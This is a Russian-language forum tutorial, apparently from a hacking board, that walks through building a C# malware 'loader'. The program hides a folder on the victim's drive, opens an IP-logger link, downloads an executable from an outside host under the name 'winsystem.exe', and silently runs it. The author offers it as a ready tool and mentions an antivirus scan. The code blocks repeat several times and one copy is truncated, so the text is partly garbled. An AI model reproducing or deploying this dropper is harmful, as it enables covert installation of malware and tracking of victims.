Нам будет нужно:
[SRC]using System;
using System.Diagnostics;
using System.IO;
using System.Net;[/SRC]
Теперь нам нужно создать метод который будет создавать скрытую папку на диске:
[SRC]static void hidefolder()
{
string path = @"C:\\HiddenFolder";
if (!Directory.Exists(path))
{
DirectoryInfo di = Directory.CreateDirectory(path);
di.Attributes = FileAttributes.Directory | FileAttributes.Hidden;
}
}[/SRC]
Теперь добавим переход на iplogger(можно и без него)
[SRC]static void logger()
{
Process.Start("ссылка на логер");
}[/SRC]
Теперь добавим саму загрузку и открытие файла
[SRC] static void download()
{
WebClient webClient = new WebClient();
string link = "http://glhfggwp.zzz.com.ua/Download/%D0%9C%D0%B0%D0%BD%D1%83%D0%B0%D0%BB.exe";
string downloadFileName = System.IO.Path.GetFileName("winsystem.exe");
webClient.DownloadFileAsync(new Uri(link), @"C:\\HiddenFolder\\" + downloadFileName);
string path = (@"C:\\HiddenFolder\\" + downloadFileName);
Process.Start(path);
Console.ReadKey();
}[/SRC]
Теперь запишем все наши методы в Main
[SRC] logger();
hidefolder();
download();[/SRC]
Теперь зайдём в свойства проекта и изменим тип выходных данных
ПРОФИТ
В итоге у нас получилось вот что:
Теперь скомпилим и у нас есть готовый лоадер.
Скан:
написал: ©D108.
- Иметь прямые руки
- Visual Studio выше 2012 года
- Код
[SRC]using System;
using System.Diagnostics;
using System.IO;
using System.Net;[/SRC]
Теперь нам нужно создать метод который будет создавать скрытую папку на диске:
[SRC]static void hidefolder()
{
string path = @"C:\\HiddenFolder";
if (!Directory.Exists(path))
{
DirectoryInfo di = Directory.CreateDirectory(path);
di.Attributes = FileAttributes.Directory | FileAttributes.Hidden;
}
}[/SRC]
Теперь добавим переход на iplogger(можно и без него)
[SRC]static void logger()
{
Process.Start("ссылка на логер");
}[/SRC]
Теперь добавим саму загрузку и открытие файла
[SRC] static void download()
{
WebClient webClient = new WebClient();
string link = "http://glhfggwp.zzz.com.ua/Download/%D0%9C%D0%B0%D0%BD%D1%83%D0%B0%D0%BB.exe";
string downloadFileName = System.IO.Path.GetFileName("winsystem.exe");
webClient.DownloadFileAsync(new Uri(link), @"C:\\HiddenFolder\\" + downloadFileName);
string path = (@"C:\\HiddenFolder\\" + downloadFileName);
Process.Start(path);
Console.ReadKey();
}[/SRC]
Теперь запишем все наши методы в Main
[SRC] logger();
hidefolder();
download();[/SRC]
Теперь зайдём в свойства проекта и изменим тип выходных данных
ПРОФИТ
В итоге у нас получилось вот что:
Теперь скомпилим и у нас есть готовый лоадер.
Скан:
[SRC]using System;
using System.Diagnostics;
using System.IO;
using System.Net;
namespace download
{
class Program
{
static void Main(string[] args)
{
logger();
hidefolder();
download();
}
static void hidefolder()
{
string path = @"C:\\HiddenFolder";
if (!Directory.Exists(path))
{
DirectoryInfo di = Directory.CreateDirectory(path);
di.Attributes = FileAttributes.Directory | FileAttributes.Hidden;
}
}
static void logger()
{
Process.Start("ссылка на логер");
}
static void download()
{
WebClient webClient = new WebClient();
string link = "Ссылка на загрузку файла";
string downloadFileName = System.IO.Path.GetFileName("winsystem.exe");
webClient.DownloadFileAsync(new Uri(link), @"C:\\HiddenFolder\\" + downloadFileName);
string path = (@"C:\\HiddenFolder\\" + downloadFileName);
Process.Start(path);
Console.ReadKey();
}
}
}[/SRC]
using System.Diagnostics;
using System.IO;
using System.Net;
namespace download
{
class Program
{
static void Main(string[] args)
{
logger();
hidefolder();
download();
}
static void hidefolder()
{
string path = @"C:\\HiddenFolder";
if (!Directory.Exists(path))
{
DirectoryInfo di = Directory.CreateDirectory(path);
di.Attributes = FileAttributes.Directory | FileAttributes.Hidden;
}
}
static void logger()
{
Process.Start("ссылка на логер");
}
static void download()
{
WebClient webClient = new WebClient();
string link = "Ссылка на загрузку файла";
string downloadFileName = System.IO.Path.GetFileName("winsystem.exe");
webClient.DownloadFileAsync(new Uri(link), @"C:\\HiddenFolder\\" + downloadFileName);
string path = (@"C:\\HiddenFolder\\" + downloadFileName);
Process.Start(path);
Console.ReadKey();
}
}
}[/SRC]
Последнее редактирование: